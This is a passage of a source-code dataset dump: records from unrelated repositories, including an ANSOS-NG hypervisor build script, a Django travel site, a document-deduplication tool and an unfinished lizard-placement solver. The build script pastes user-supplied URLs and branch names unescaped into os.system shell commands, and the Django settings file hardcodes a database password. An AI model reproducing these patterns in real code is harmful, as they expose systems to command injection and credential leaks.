76, "num_lines": 70, "path": "/recipe/configure.ac", "repo_name": "CyrilPeponnet/ANSOS-NG", "src_encoding": "UTF-8", "text": "dnl\ndnl Licensed to the Apache Software Foundation (ASF) under one or more\ndnl contributor license agreements. See the NOTICE file distributed with\ndnl this work for additional information regarding copyright ownership.\ndnl The ASF licenses this file to You under the Apache License, Version 2.0\ndnl (the \"License\"); you may not use this file except in compliance with\ndnl the License. You may obtain a copy of the License at\ndnl\ndnl http://www.apache.org/licenses/LICENSE-2.0\ndnl\ndnl Unless required by applicable law or agreed to in writing, software\ndnl distributed under the License is distributed on an \"AS IS\" BASIS,\ndnl WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\ndnl See the License for the specific language governing permissions and\ndnl limitations under the License.\ndnl\n\nAC_PREREQ(2.60)\n\ndefine([VERSION_MAJOR], [1])\ndefine([VERSION_MINOR], [0])\ndefine([VERSION_NUMBER], VERSION_MAJOR[.]VERSION_MINOR)\n\nAC_INIT([archipel-ansos], VERSION_NUMBER[], [[email protected]])\n\nAM_INIT_AUTOMAKE([-Wall -Werror foreign -Wno-portability tar-pax])\n\nAC_ARG_VAR([RPMBUILD], [path to rpmbuild utility])\nAC_CHECK_PROGS([RPMBUILD], [rpmbuild])\n\nAC_SUBST([FEDORA],[[`rpm --eval '%{fedora}'|sed 's/[^0-9]//g'`]])\nAC_SUBST([RHEL], [[`rpm --eval '%{rhel}'|sed 's/[^0-9]//g'`]])\nAC_SUBST([CENTOS], [[`rpm --eval '%{centos}'|sed 's/[^0-9]//g'`]])\nAC_SUBST([DISTRO])\nAC_SUBST([PACKAGE_NAME])\nAC_SUBST([PRODUCT_NAME])\n\nif test \"$FEDORA\"; then\n DISTRO=fc$FEDORA\nfi\nif test \"$RHEL\"; then\n DISTRO=rhevh$RHEL\nfi\nif test \"$CENTOS\"; then\n DISTRO=centos$CENTOS\nfi\n\nAM_CONDITIONAL(TARGET_FEDORA, test x\"$FEDORA\" != x)\nAM_CONDITIONAL(TARGET_RHEL, test x\"$RHEL\" != x && test x\"$CENTOS\" == x)\nAM_CONDITIONAL(TARGET_CENTOS, test x\"$CENTOS\" != x)\nAM_CONDITIONAL(TARGET_EL6, test x\"$RHEL\" != x || test x\"$CENTOS\" != x)\n\nAC_ARG_WITH([image-minimizer], [AC_HELP_STRING([--with-image-minimizer],\n [enable aggresive reduction of the image size])],\n [IMAGE_MINIMIZER=\"%include image-minimizer.ks\"],\n [IMAGE_MINIMIZER=\"\"])\nAC_SUBST([IMAGE_MINIMIZER])\n\n\nPACKAGE_NAME=archipel-node-image\nPRODUCT_NAME=Archipel\\ Node\\ Hypervisor\\ $DISTRO\nMAIN_KS=archipel-node-image.ks\n\nAM_PATH_PYTHON\n\nAC_CONFIG_FILES([\n Makefile\n $MAIN_KS\n image-minimizer.ks])\nAC_OUTPUT\n" }, { "alpha_fraction": 0.5432863235473633, "alphanum_fraction": 0.5518116354942322, "avg_line_length": 40.05416488647461, "blob_id": "67e7084a0f68c47693495db6e60a61a385c8995d", "content_id": "e9e72e5791e1a3f82591f9156e9f03a722d820f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9853, "license_type": "no_license", "max_line_length": 174, "num_lines": 240, "path": "/docker/buildANSOS.py", "repo_name": "CyrilPeponnet/ANSOS-NG", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n#\n# buildANSOS\n#\n# Copyright (C) 2014 - Cyril Peponnet [email protected]\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\nimport sys, os, commands, platform\nimport argparse\n\nPATH = os.path.dirname(os.path.realpath(__file__))\nREPO_PATH = os.path.join(PATH, \"REPO\")\nCACHE_PATH = os.path.join(PATH, \"CACHE\")\n\n### Log messages\n\ndef success(msg):\n \"\"\"\n Print a standardized success message\n @type msg: String\n @param msg: the message to print\n \"\"\"\n print \"\\033[32mSUCCESS: %s\\033[0m\" % msg\n\ndef error(msg, exit=True):\n \"\"\"\n Print a standardized success message\n @type msg: String\n @param msg: the message to print\n @type exit: Boolean\n @param exit: if True, exit after print\n \"\"\"\n print \"\\033[31mERROR: %s\\033[0m\" % msg\n if exit:\n sys.exit(1)\n\ndef msg(msg, exit=True):\n \"\"\"\n Print a standardized neutral message\n @type msg: String\n @param msg: the message to print\n @type exit: Boolean\n @param exit: if True, exit after print\n \"\"\"\n print \"\\033[35mMESSAGE: %s\\033[0m\" % msg\n\ndef running(msg, exit=True):\n \"\"\"\n Print a standardized neutral message\n @type msg: String\n @param msg: the message to print\n @type exit: Boolean\n @param exit: if True, exit after print\n \"\"\"\n print \"\\033[94mRUN: %s\\033[0m\" % msg\n\ndef warn(msg):\n \"\"\"\n Print a standardized warning message\n @type msg: String\n @param msg: the message to print\n \"\"\"\n print \"\\033[33mWARNING: %s\\033[0m\" % msg\n\n### Build functions\n\ndef clone_repo(info_repo):\n URL = info_repo[0]\n if len(info_repo) == 1:\n version = \"master\"\n else:\n version = info_repo[1]\n\n msg(\"Cloning %s...\" % URL)\n os.system(\"git clone %s && cd %s && git fetch && git checkout %s\" % (URL, URL.split(\"/\")[-1].split(\".git\")[0], version))\n\ndef run(cmd,exit_on_error=True):\n running(cmd)\n if os.system(cmd):\n if exit_on_error:\n error(\"Wrong return code for %s\" % cmd)\n else:\n warn(\"Wrong return code for %s\" % cmd)\n\n\n### Main function\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-B\", \"--build\",\n dest=\"build\",\n help=\"Build\",\n action=\"store_true\",\n default=False)\n parser.add_argument(\"-c\", \"--clean\",\n dest=\"clean\",\n help=\"Clean cache and repo\",\n action=\"store_true\",\n default=False)\n parser.add_argument(\"-A\", \"--archipel-repo\",\n dest=\"with_archipel\",\n metavar=(\"GIT_URL\",\"BRANCH/TAG/COMMIT\"),\n nargs=2,\n help=\"Archipel sources (default %(default)s)\",\n default=[\"https://github.com/ArchipelProject/Archipel.git\",\"master\"])\n parser.add_argument(\"--ansos-repo\",\n dest=\"ansos\",\n metavar=(\"GIT_URL\",\"BRANCH/TAG/COMMIT\"),\n nargs=2,\n help=\"Build with ANSOS from (default %(default)s)\",\n default=[\"https://github.com/CyrilPeponnet/ANSOS-NG.git\",\"master\"])\n parser.add_argument(\"-o\", \"--with-openvswitch\",\n dest=\"with_ovs\",\n metavar=\"VERSION\",\n nargs=\"?\",\n help=\"Build openvswitch with version (default %(const)s)\",\n const=\"2.1.2\")\n parser.add_argument(\"-k\", \"--kmod\",\n dest=\"kmod\",\n help=\"Build OpenVswitch kernel module (default %(default)s)\",\n action=\"store_true\",\n default=False)\n parser.add_argument(\"-e\", \"--extra-repos\",\n dest=\"extra_repos\",\n nargs=\"*\",\n metavar=(\"REPO_URL1\",\"REPO_URL2\"),\n help=\"Add extra repos to the recipe\")\n parser.add_argument(\"-p\", \"--extra-packages\",\n dest=\"extra_packages\",\n nargs=\"*\",\n metavar=(\"pkg1\", \"pkg2\"),\n help=\"Add extra packages to install\")\n parser.add_argument(\"-P\", \"--prefix\",\n dest=\"prefix\",\n metavar=\"PATH\",\n help=\"use prefix as default PATH instead of current dir\")\n parser.add_argument(\"--post\",\n dest=\"post\",\n metavar=\"commands or file\",\n help=\"add commands of file to kickstart post script recipe\")\n\n options = parser.parse_args()\n\n if not options.build and not options.clean:\n parser.print_help()\n exit(0)\n\n if options.prefix:\n msg(\"Use %s as buildir\" % options.prefix)\n PATH = options.prefix\n REPO_PATH = os.path.join(PATH, \"REPO\")\n CACHE_PATH = os.path.join(PATH, \"CACHE\")\n\n if not os.path.exists(CACHE_PATH):\n os.makedirs(CACHE_PATH)\n else:\n if options.clean:\n msg(\"Cleaning %s\" % CACHE_PATH)\n run(\"rm -rf %s/*\" % CACHE_PATH)\n\n if not os.path.exists(REPO_PATH):\n os.makedirs(REPO_PATH)\n else:\n if options.clean:\n msg(\"Cleaning %s\" % REPO_PATH)\n run(\"rm -rf %s/*\" % REPO_PATH)\n\n if options.build:\n\n # environment variables\n msg(\"Setting environment variables\")\n os.environ['ANSOS_CACHE_DIR'] = CACHE_PATH\n os.environ['ANSOS_LOCAL_REPO'] = \"file://%s/RPMS\" % REPO_PATH\n if options.extra_repos:\n os.environ['ANSOS_EXTRA_REPO'] = \" \".join(options.extra_repos)\n if options.extra_packages:\n os.environ['ANSOS_EXTRA_PKGS'] = \" \".join(options.extra_packages)\n if options.post:\n os.environ['ANSOS_EXTRA_POST'] = options.post\n success(\"Environment variables set\")\n\n os.chdir(CACHE_PATH)\n if options.clean or not os.path.exists(os.path.join(REPO_PATH, \"RPMS/repodata\")) :\n rpm_topdir = commands.getoutput(\"rpm --eval %_topdir\")\n run(\"mkdir -p %s/{BUILD,BUILDROOT,RPMS,SOURCES,SPECS,SRPMS}\" % rpm_topdir)\n run(\"find %s -iname *.rpm -delete\" % rpm_topdir)\n # Building Archipel\n clone_repo(options.with_archipel)\n msg(\"Create Archipel RPMS\")\n run(\"cd %s/Archipel/ && ./pull.sh\" % (CACHE_PATH))\n run(\"cd %s/Archipel/ArchipelAgent && ./buildAgent -Be %s\" % (CACHE_PATH, REPO_PATH))\n\n # Building OVS if needed\n if options.with_ovs:\n msg(\"Create OpenVswitch RPMS\")\n run(\"cd %s && wget http://openvswitch.org/releases/openvswitch-%s.tar.gz && tar xzf openvswitch-%s.tar.gz\" % (CACHE_PATH, options.with_ovs, options.with_ovs))\n run(\"cp %s/openvswitch-%s.tar.gz %s/SOURCES\" % (CACHE_PATH, options.with_ovs, rpm_topdir, ))\n run(\"cp %s/openvswitch-%s/rhel/openvswitch-kmod.files %s/SOURCES\" % (CACHE_PATH, options.with_ovs, rpm_topdir, ))\n if platform.dist()[0] == \"fedora\":\n if not options.kmod:\n msg(\"Patching sources file to remove the kmod dependency\")\n run(\"sed -i 's/openvswitch-kmod//g' %s/openvswitch-%s/rhel/openvswitch-fedora.spec\" % (CACHE_PATH ,options.with_ovs))\n run(\"cd %s/openvswitch-%s && rpmbuild -bb --without check rhel/openvswitch-fedora.spec\" % (CACHE_PATH ,options.with_ovs))\n if options.kmod:\n run(\"cd %s/openvswitch-%s && rpmbuild -bb rhel/openvswitch-kmod-fedora.spec\" % (CACHE_PATH ,options.with_ovs))\n else:\n if not options.kmod:\n msg(\"Patching sources file to remove the kmod dependency\")\n run(\"sed -i 's/openvswitch-kmod//g' %s/openvswitch-%s/rhel/openvswitch.spec\" % (CACHE_PATH ,options.with_ovs))\n run(\"cd %s/openvswitch-%s && rpmbuild -bb --without check rhel/openvswitch.spec\" % (CACHE_PATH ,options.with_ovs))\n if options.kmod:\n run(\"cd %s/openvswitch-%s && rpmbuild -bb rhel/openvswitch-kmod-rhel6.spec\" % (CACHE_PATH ,options.with_ovs))\n\n if not os.path.exists(os.path.join(REPO_PATH, \"RPMS/x86_64\")):\n os.makedirs(os.path.join(REPO_PATH, \"RPMS/x86_64\"))\n run(\"cp %s/RPMS/x86_64/* %s/RPMS/x86_64/\" % (rpm_topdir, REPO_PATH), False)\n success(\"RPMS created and copied to local repo\")\n\n msg(\"Creating Local RPM Repository\")\n run(\"cd %s/RPMS && createrepo .\" % REPO_PATH)\n success(\"Creating Local RPM Repository\")\n else:\n warn(\"Using already built RPMS, use -c flag for cleaning if needed\")\n\n # Building ANSOS now\n os.environ['RELEASE'] = commands.getoutput(\"cd %s/Archipel && git rev-parse --short HEAD\" % CACHE_PATH)\n msg(\"Building the live CD\")\n clone_repo(options.ansos)\n run(\"cd %s/ANSOS-NG/recipe/ && aclocal && automake --add-missing && autoconf && ./configure --with-image-minimizer && make archipel-node-image.iso\" % CACHE_PATH)\n" } ]
5
Rabindra12345/myhtml
https://github.com/Rabindra12345/myhtml
a8cc8f85dc27436daa2483e2dea726339decb171
73ccd323e20c16e2f58036154317b3fbfac8aa2e
06551aee69c2b4d8182e932e093cfeec615ca2f0
refs/heads/master
2020-04-26T23:31:03.992366
2019-05-06T09:34:07
2019-05-06T09:34:07
173,904,695
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.535897433757782, "alphanum_fraction": 0.5820512771606445, "avg_line_length": 20.66666603088379, "blob_id": "c68ae8b6266ca008d263b875c55681fe9e261a3d", "content_id": "2b6616298917718af333260861f3b4127944412f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "no_license", "max_line_length": 71, "num_lines": 18, "path": "/project/travel/home/migrations/0006_auto_20190506_0912.py", "repo_name": "Rabindra12345/myhtml", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2 on 2019-05-06 09:12\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('home', '0005_story_tag'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='story',\n name='slug',\n field=models.SlugField(blank=True, null=True, unique=True),\n ),\n ]\n" }, { "alpha_fraction": 0.673693835735321, "alphanum_fraction": 0.6819431781768799, "avg_line_length": 28.5, "blob_id": "e2db2dd7bc358e27fc2c63d8443fa59c7c5c53c3", "content_id": "9171b65768b6d90264ef4b408dce36970603bb3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2182, "license_type": "no_license", "max_line_length": 94, "num_lines": 74, "path": "/project/travel/home/models.py", "repo_name": "Rabindra12345/myhtml", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.conf import settings\nfrom django.utils.text import slugify\nfrom django.db.models.signals import pre_save\n# Create your models here.\n\nclass Article(models.Model):\n title =models.CharField(max_length =100, unique=True)\n image =models.ImageField(upload_to='article/',default='default.jpg',blank=True,null =True)\n date =models.DateTimeField()\n content =models.TextField()\n draft = models.BooleanField(default=True)\n\n\n def __str__(self):\n return self.title\n\nclass Hero(models.Model):\n image =models.ImageField(upload_to='hero/',default='default.jpg')\n caption = models.CharField(max_length=250)\n sub_heading = models.CharField(max_length =100)\n date = models.DateTimeField(auto_now=True, auto_now_add=False)\n\n def __str__(self):\n return self.caption\n\nclass Tag(models.Model):\n name = models.CharField(max_length=100)\n\n\n def __str__(self):\n return self.name\n\n\n\nclass Story(models.Model):\n title = models.CharField(max_length=250)\n slug =models.SlugField(unique=True,blank=True, null=True)\n tag =models.ForeignKey(Tag, on_delete=models.CASCADE, default=None)\n photographer = models.ForeignKey(settings.AUTH_USER_MODEL,on_delete=models.CASCADE)\n image =models.ImageField(upload_to='story/',default='default.jpg')\n date = models.DateTimeField()\n content = models.TextField(max_length=250)\n draft= models.BooleanField(default=True)\n\n\n def __str__(self):\n return self.title\n \n class Meta:\n ordering =[\"-date\"]\n verbose_name =\"My Story\"\n verbose_name_plural =\"My Stories\"\n\n\ndef create_slug(instance, new_slug=None):\n slug = slugify(instance.title)\n if new_slug is not None:\n slug =new_slug\n \n qs = Story.objects.filter(slug=slug).order_by(\"-id\")\n # qs->query set\n exists = qs.exists()\n if exists:\n new_slug =\"%s-%s\"%(slug,qs.first().id)\n return create_slug(instance, new_slug=new_slug)\n return slug\n\n\ndef pre_save_post_receiver(sender, instance, *args,**kwargs):\n instance.slug = create_slug(instance)\n # do other stuffs here\n\npre_save.connect(pre_save_post_receiver, sender=Story)" }, { "alpha_fraction": 0.6016260385513306, "alphanum_fraction": 0.6829268336296082, "avg_line_length": 19.66666603088379, "blob_id": "2f7081f464c1c6e0dd0a51d778d48b4b74e1ddfb", "content_id": "f9d5f21152a8bdeceb242db55d5cbc0e15da3225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 123, "license_type": "no_license", "max_line_length": 25, "num_lines": 6, "path": "/project/travel/travel/local_settings.py", "repo_name": "Rabindra12345/myhtml", "src_encoding": "UTF-8", "text": "DEBUG_STATE = True\nDB_NAME ='traveldb'\nDB_USER ='traveluser'\nDB_PASSWORD ='asdf1234'\nDB_HOST ='127.0.0.1'\nDB_PORT ='5432'" }, { "alpha_fraction": 0.671875, "alphanum_fraction": 0.6753472089767456, "avg_line_length": 29.263158798217773, "blob_id": "65450eafa6f0d553ac75e7a5591a0e77ce9487cc", "content_id": "59781dc97aa11be4ad1e69609cd4e300ce12c529", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "no_license", "max_line_length": 60, "num_lines": 19, "path": "/project/travel/home/views.py", "repo_name": "Rabindra12345/myhtml", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\n# create your views here\nfrom .models import Article,Hero,Story,Tag\ndef index(request):\n article_list = Article.objects.all()\n hero_list =Hero.objects.all()\n story_list=Story.objects.all()\n tag_list=Tag.objects.all()\n\n print(article_list)\n context={\n \"articles\":article_list,\n \"hero_list\":hero_list,\n \"stories\":story_list,\n \"tags\":tag_list\n }\n return render(request,'home/index.html',context)\n # return HttpResponse(\"<h2>Hello, we have done it</h2>\")\n\n" }, { "alpha_fraction": 0.6552827954292297, "alphanum_fraction": 0.6552827954292297, "avg_line_length": 23.552631378173828, "blob_id": "4d8b7ffddd6d91b726a4f4a1f376c9bc777b0c77", "content_id": "6fea23344bbd3d4de55eaa4116b9a39666f94016", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 937, "license_type": "no_license", "max_line_length": 65, "num_lines": 38, "path": "/project/travel/home/admin.py", "repo_name": "Rabindra12345/myhtml", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Article,Hero,Story,Tag\n\n# Register your models here.\n\n\nclass ArticleModelAdmin(admin.ModelAdmin):\n list_display =[\"__str__\",\"date\",\"draft\",\"image\"]\n list_display_links =[\"__str__\"]\n list_editable =[\"draft\"]\n list_filter =[\"date\",\"draft\"]\n\n class Meta:\n model =Article\n\nclass HeroModelAdmin(admin.ModelAdmin):\n list_display =[\"__str__\",\"caption\",\"date\"]\n list_display_links =[\"__str__\"]\n \n list_filter =[\"date\"]\n\n class Meta:\n model =Hero\n\nclass StoryModelAdmin(admin.ModelAdmin):\n list_display =[\"__str__\",\"tag\",\"date\",\"photographer\",\"draft\"]\n list_display_links =[\"__str__\"]\n \n list_filter =[\"date\",\"tag\",\"photographer\",\"draft\"]\n\n class Meta:\n model =Story\n\n\nadmin.site.register(Article,ArticleModelAdmin)\nadmin.site.register(Hero,HeroModelAdmin)\nadmin.site.register(Story,StoryModelAdmin)\nadmin.site.register(Tag)\n\n\n\n\n" } ]
5
fginter/document-dedup
https://github.com/fginter/document-dedup
a59b1f659c41c924fc0c8db7ea884c4c4383439d
580657754be31dc6f977014058fefca6d093d98f
16f3fc06d3ef600ba367d214d487aa1b9226412b
refs/heads/master
2021-08-14T05:24:36.585729
2017-11-14T17:10:17
2017-11-14T17:10:17
110,526,638
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6770370602607727, "avg_line_length": 44.82758712768555, "blob_id": "b018dd2b8b758bb964fb24377c7524330ea5c1a8", "content_id": "de942d552883df1ef79da11fd75250d97c7481b5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1350, "license_type": "permissive", "max_line_length": 126, "num_lines": 29, "path": "/idx_pbank.py", "repo_name": "fginter/document-dedup", "src_encoding": "UTF-8", "text": "import get_text\nimport argparse\nimport dedup\nimport scipy.sparse\nimport gzip\nimport json\nimport re\n\nparser = argparse.ArgumentParser(description='Index')\nparser.add_argument(\"--section\", default=0, type=int, help='Which part to ask 0...N-1 (default %(default)d)')\nparser.add_argument(\"--all\", default=10, type=int, help='N (default %(default)d)')\nparser.add_argument(\"--batch\", default=100000, type=int, help='batchsize (default %(default)d)')\nparser.add_argument(\"--preverts\", default=\"/home/mjluot/preverts\", help='preverts file (default %(default)s)')\nparser.add_argument(\"outfile\", help=\"outfile.batchnum.npz will be the matrices and outfile.batchnum.json.gz will be the data\")\n\nargs = parser.parse_args()\n\nmarkup_re=re.compile(\"\"\"^<doc.*?langdiff=.*?>|<gap chars=\".*?\" />|<p heading=\"[0-9]+\">|</p>|</doc>\"\"\")\n\nfor batch_num, (docs,indices) in enumerate(get_text.get_text(args.section,args.all,args.preverts,args.batch)):\n docs_to_index=[]\n for d in docs:\n d=markup_re.sub(\"\",d)\n docs_to_index.append(d)\n sparse_m=dedup.documents2sparse(docs_to_index)\n scipy.sparse.save_npz(\"{}.batch_{}.npz\".format(args.outfile,batch_num),sparse_m)\n with gzip.open(\"{}.batch_{}.json.gz\".format(args.outfile,batch_num),\"wt\") as f:\n json.dump((docs,indices),f)\n print(\"Batch {} done\".format(batch_num))\n \n \n\n" }, { "alpha_fraction": 0.8316831588745117, "alphanum_fraction": 0.8316831588745117, "avg_line_length": 49.5, "blob_id": "4f14ff0c73bf255fc9752ed359e4644c1f1d6abc", "content_id": "886253e6182dabf12444c9577b235ff83a8b5330", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 101, "license_type": "permissive", "max_line_length": 83, "num_lines": 2, "path": "/README.md", "repo_name": "fginter/document-dedup", "src_encoding": "UTF-8", "text": "# document-dedup\nLittle fun project for large-scale text deduplication using Numpy's sparse matrices\n" }, { "alpha_fraction": 0.6608186960220337, "alphanum_fraction": 0.686274528503418, "avg_line_length": 40.98550796508789, "blob_id": "4feb80c366351b64579a6eee39f43ead7b800f91", "content_id": "cd6458791ef0b23e0e921f5aeaf5e9a4a007a7e1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2913, "license_type": "permissive", "max_line_length": 212, "num_lines": 69, "path": "/dedup.py", "repo_name": "fginter/document-dedup", "src_encoding": "UTF-8", "text": "import six\nassert six.PY3, \"Run me with Python3\"\n\nimport numpy as np\nimport scipy.sparse\nimport csr_csc_dot as ccd\nimport time\nimport sys\nimport re\nfrom sklearn.feature_extraction.text import HashingVectorizer\n\ndiscard_re=re.compile(r\"[^a-zA-ZåäöÅÄÖ0-9 ]\") #regex to discard characters which are not of our interest\nwspace_re=re.compile(r\"\\s+\") #regex to discard characters which are not of our interest\n\ndef documents2sparse(documents,ngram=4,n_features=10**7):\n \"\"\"\n documents: iterable yielding docs\n ngram: how long ngrams to consider for deduplication?\n n_features: used as modulo after hash, so all ngrams willbe mapped to this many features. Cannot be made too large because we will also need a feature x document sparse matrix. 10**6 or 10**7 are good values.\n\n Returns a sparse matrix. This can be saved with:\n scipy.sparse.save_npz(\"matrix_file.npz\",sparse_m)\n \"\"\"\n vectorizer=HashingVectorizer(lowercase=True, ngram_range=(ngram,ngram), n_features=n_features,norm=None,dtype=np.float32) #use float32 because this is what I need later\n docs=[]\n for d in documents:\n d=discard_re.sub(\" \",d)\n d=wspace_re.sub(\" \",d)\n docs.append(d)\n sparse_m=np.abs(vectorizer.transform(docs)) #CSR matrix (one row for document, sparse columns for features)\n return sparse_m\n\n\ndef duplicates_matrix_pair(m1,m2,slice_width=10000,m2_csc=None,cut=0.98):\n \"\"\"\n Find duplicates between m1 and m2.\n m1: document-by-feature CSR sparse matrix (as produced eg by scikit vectorizers)\n m2: document-by-feature CSR sparse matrix \n slice: sort of minibatch size - how many m1 rows are compared to m2 at once\n m2_csc: if None, will be calcuated as m2_csc=m2.tocsc() - provide if you happen to have it cached\n \"\"\"\n\n # Inspired here\n # https://github.com/scipy/scipy/blob/v0.14.0/scipy/sparse/data.py#L86\n #\n # Diagonal values of m1.dot(m1) and m2.dot(m2) so we know what the maximum is\n diagonal1=m1._with_data(np.square(m1.data),copy=True).sum(-1)\n diagonal2=m2._with_data(np.square(m2.data),copy=True).sum(-1)\n\n if m2_csc is None:\n m2_csc=m2.tocsc()\n\n for slice_idx in np.arange(0,m1.shape[0],slice_width):\n out=np.zeros((slice_width,m2.shape[0]),np.float32)\n ccd.csr_csc_dot_f(slice_idx,slice_width,m1,m2_csc,out)\n #Now `out` is filled with the dot products\n out=np.square(out)\n out/=diagonal1\n out/=diagonal2\n #Now any value in `out` which is above something like 0.95 is a near-duplicate\n rows,cols=np.where(out>cut)\n for row,col in zip(rows,cols):\n yield row,col\n \nif __name__==\"__main__\":\n import argparse\n parser = argparse.ArgumentParser(description='Process some integers.')\n parser.add_argument('integers', metavar='N', type=int, nargs='+', help='an integer for the accumulator')\n args = parser.parse_args()\n \n \n" } ]
3
cueBall123/Hound-Test
https://github.com/cueBall123/Hound-Test
f2649772c1f434ea0452d1603e04cc3c32de883d
4b931255e5457ae48644626a8d5b36a8e3172a99
255d2280ffd2bedbcc82d4374b4856b916fe1ca0
refs/heads/master
2021-01-02T09:10:53.890373
2017-08-02T21:10:43
2017-08-02T21:10:43
99,153,208
0
1
null
2017-08-02T19:25:26
2017-08-02T19:39:36
2017-08-02T21:12:02
Python
[ { "alpha_fraction": 0.4017857015132904, "alphanum_fraction": 0.4821428656578064, "avg_line_length": 13, "blob_id": "68ca6f8b7a9cede27f17220073197b483bd46afa", "content_id": "cc74136ebb6826da49bd231d8f483510e4809285", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 112, "license_type": "no_license", "max_line_length": 26, "num_lines": 8, "path": "/file1.py", "repo_name": "cueBall123/Hound-Test", "src_encoding": "UTF-8", "text": "def print1to10():\n \n for i in xrange(1,11):\n print i\n\n\nif __name__ == \"__main__\":\n print1to10()\n" } ]
1
sarthak10193/LizardWorld
https://github.com/sarthak10193/LizardWorld
575914f3f312e06dd2d71d894aef1b5471677d8c
5806151a409e58b80e241539940e52a8f85e7041
3a852d2e430a0d420c1983e8cf01666b136bd81f
refs/heads/master
2021-07-13T05:10:42.372285
2017-10-18T19:26:28
2017-10-18T19:26:28
107,453,049
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5029087662696838, "alphanum_fraction": 0.5108858346939087, "avg_line_length": 37.07046890258789, "blob_id": "de56e5828bf1d0c19031d80a65ff4b850b9e0d7a", "content_id": "0c97658d40c92e5656daa24c84092cad58829677", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22690, "license_type": "no_license", "max_line_length": 212, "num_lines": 596, "path": "/hw1Lizards.py", "repo_name": "sarthak10193/LizardWorld", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport random\nimport math\nimport numpy as np\n\nclass LizardWorld:\n def __init__(self):\n self.filledPositions = []\n self.algo = \"\"\n self.n = 0\n self.lizardCount = 0\n self.inputMatrix = []\n self.treeLocations = None\n self.allPositions = dict()\n\n def getLizardCount(self):\n return self.lizardCount\n\n def getAlgo(self):\n return self.algo\n\n def getN(self):\n return self.n\n\n def readData(self, path):\n with open(\"input.txt\", 'r') as f:\n a = f.readlines()\n self.algo = a[0]\n self.n = int(a[1])\n self.lizardCount = int(a[2])\n matrix = [row.strip() for row in a[3:]]\n transformMatrix = []\n for r in matrix:\n transformMatrix.append(list(map(int, r)))\n\n self.inputMatrix = transformMatrix\n\n return self.algo, self.n, self.lizardCount, self.inputMatrix\n\n def printSolution(self):\n for row in range(self.n):\n for col in range(self.n):\n print(self.inputMatrix[row][col], end=\",\")\n print()\n\n print()\n\n def getTreeLocations(self, inputMatrix):\n\n treeLoc = []\n\n for row in range(self.n):\n for col in range(self.n):\n if inputMatrix[row][col] == 2:\n treeLoc.append((row,col))\n\n return treeLoc\n\n def treeColProtection(self, row, col ,queenRow):\n\n for treerow, treecol in self.treeLocations:\n if treecol == col:\n if queenRow<treerow<row or row<treerow<queenRow: # means a tree is present in btw\n return True\n\n return False\n\n # check if any tree in the same row can protect the lizard. if none of the trees offer protection return False\n def treeRowProtection(self, row, col, queenCol):\n for treerow, treecol in self.treeLocations:\n if treerow == row:\n if queenCol < treecol < col:\n return True\n return False\n\n # check if any tree in the same right diagnal can protect the lizard. if none of the trees offer protection return False\n def treeRightDiagnalProtection(self, row, col, queenRow, queenCol):\n for treerow, treecol in self.treeLocations:\n if treerow + treecol == row + col:\n if (queenRow < treerow < row and col < treecol < queenCol) or (row < treerow < queenRow and queenCol < treecol < col):\n return True\n return False\n\n # check if any tree in the same left can protect the lizard. if none of the trees offer protection return False\n def treeLeftDiagnalProtection(self, row, col, queenRow, queenCol):\n for treerow, treecol in self.treeLocations:\n if treerow - treecol == row - col:\n if (queenRow < treerow < row and queenCol < treecol < col) or (row < treerow < queenRow and queenCol < treecol < col):\n return True\n\n return False\n\n '''\n ##########################################################################\n ############################## 1. DFS ####################################\n ##########################################################################\n '''\n\n def isPositionSafe(self, filledPositions, row, col):\n\n if self.inputMatrix[row][col] !=0:\n return False\n\n colSafe = True\n rowSafe = True\n leftD = True\n rightD = True\n\n for queen in self.filledPositions:\n if queen[1] == col:\n colSafe = False\n if self.treeColProtection(row,col, queen[0]):\n colSafe = True\n\n for queen in self.filledPositions:\n if queen[0] == row:\n rowSafe = False\n if self.treeRowProtection(row,col, queen[1]):\n rowSafe = True\n\n for queen in self.filledPositions:\n if queen[0] + queen[1] == row + col:\n rightD = False\n if self.treeRightDiagnalProtection(row, col, queen[0], queen[1]):\n rightD = True\n\n for queen in self.filledPositions:\n if queen[0] - queen[1] == row - col:\n leftD = False\n if self.treeLeftDiagnalProtection(row, col, queen[0], queen[1]):\n leftD = True\n\n return colSafe and rowSafe and leftD and rightD\n\n\n def isPositionSafeNoTreeDFS(self,filledPositions, row, col):\n\n # note since we are never placing in the same row becauae we pass row+1 we just need to check for col, diagnoal1 and 